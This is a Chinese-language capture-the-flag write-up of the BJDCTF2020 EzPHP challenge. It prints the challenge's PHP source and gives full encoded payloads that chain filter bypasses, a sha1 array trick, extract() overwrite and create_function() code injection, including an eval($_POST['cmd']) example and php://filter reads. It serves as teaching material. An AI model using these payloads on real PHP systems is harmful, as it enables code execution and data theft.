Single

[BJDCTF2020]EzPHP7 min read

查看源代码,在顶部找到提示:

<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->

因为是由大写字母和数字组成,考虑base32,解码得到1nD3x.php。

源码如下:

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} 
?>

有点长长,分段看:

0x00 $_SERVER[‘QUERY_STRING’]

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

查询(query)的字符串。简单的理解就是,如果你输入一个网址:www.baidu.com?test=1&test2=2 那么就是说?之后带的字符就是,不管你输入什么。它有一个特性:它不会对url编码进行解码。所以这里直接编码就可以绕过。(安利小葵转换工具,很好用~

0x01 preg_match

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

若preg_match(‘/^.*$/’,subject),preg_match只会匹配第一行。参考文章:戳我,在debu参数后加%0a即可。

0x02 $_REQUEST

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

它接收$_GET和$_POST的数据,如果get和post一样的参数名,它会优先选择post形式传入的参数的值。

0x03 file_get_contents($file)

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

$file的内容必须全等于”debu_debu_aqua”,我比较喜欢用php://input,它可以读取没有处理过的POST数据。还可以用data://

data://text/plain,<?php phpinfo()?>

也可以

data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

到这里,我测试了一下:

【GET】file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute%0a
【POST】file=1&debu=2

当然不编码是不行的,继续Q Q

【GET】file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a
【POST】file=1&debu=2

成功绕过,继续分析下一部分:

0x04 sha1 & extract

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

md5和sha1对一个数组进行加密将返回NULL,而NULL===NULL返回true,所以可绕过判断。

extract函数会注册变量,可以用来覆盖$code或$arg。

使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]flag[arg]的形式

0x05 create_function()代码注入

重头大戏来惹。

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

create_function()函数有两个参数$args$code,用于创建一个lambda样式的函数

比如:

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){
    return $a+$b;
}

但是如果第二个参数没有限制($code=return$a+$b;}eval($_POST['cmd']);//),就会变成:

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST['cmd']);//}

通过手工闭合}使后面的代码eval()逃逸出了myFunc()得以执行,然后利用注释符//注释掉}保证了语法正确。

这道题就可以用flag[code]=create_function来创建一个函数,用flag[arg]去闭合它,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组,别忘记最后注释掉后面的内容保证语法准确。

到这里的payload如下:

【GET】file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute%0a&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
【POST】file=1&debu=2

编码后:

【GET】file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(get_defined_vars());//

【POST】file=1&debu=2

可以看到最底下有这么一句:

Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333

得到了真实的flag文件的名字,下面记录下我学到的获得flag的多种方式。

方法一

考虑用filter流读取flag文件,又因为“inc”、单引号、双引号都被过滤了,所以考虑用require代替include,按位取反绕过单双引号的限制。

php中有4个位运算,分别是&与 |或 ^异或 ~取反

& 两位全为1,结果为1

| 有一位为1,结果为1

^ 一个为0,一个为1,结果为1

~ 取反0->1,1->0

<?php
$str = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p";
$arr1 = explode(' ', $str);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
	echo "%".bin2hex(~$value);
}
echo ")<br>";
?>

payload(点Raw查看全部):

【GET】?file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

【POST】file=1&debu=2

解码后: file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//

解码得到flag。

方法二

原题第二种解法是将rea1fl4g.php按位异或,用require包含进去,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组,以下是我用python3写的异或脚本:

#Author: Root.
#Blog: shawroot.cc
def stringxor(str1):
    orxstr=""
    for i in range(0,len(str1)):
        rst = ord(list(str1)[i])^0xff
        print(str(hex(rst)).replace("0x","%"),end="")
str1 = "rea1fl4g.php"
stringxor(str1)
print("^",end="")
print("%ff"*len(str1))

运行得到:

%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff

但是BUU上这道题偷偷的把异或符号过滤掉了,所以这种方法在BUU上不可复现。

方法三

预期解法是用require将rea1fl4g.php包含进去,又因为“.”被过滤,所以用base64编码一下,再调用解码函数,然后用get_defined_vars函数去返回由所有已定义变量所组成的数组即可。

payload如下:

【GET】?file=%64%61%74%61%3A%2F%2F%74%65%78%74%2F%70%6C%61%69%6E%3B%62%61%73%65%36%34%2C%5A%47%56%69%64%56%39%6B%5A%57%4A%31%58%32%46%78%64%57%45%3D&%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(%62%61%73%65%36%34%5F%64%65%63%6F%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

【POST】file=1&debu=2

解码后: file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&debu=aqua_is_cute &shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

还有几种骚操作有待学习,会补充。

⚪参考:

https://www.gem-love.com/ctf/770.html

https://www.cnblogs.com/20175211lyz/p/12269890.html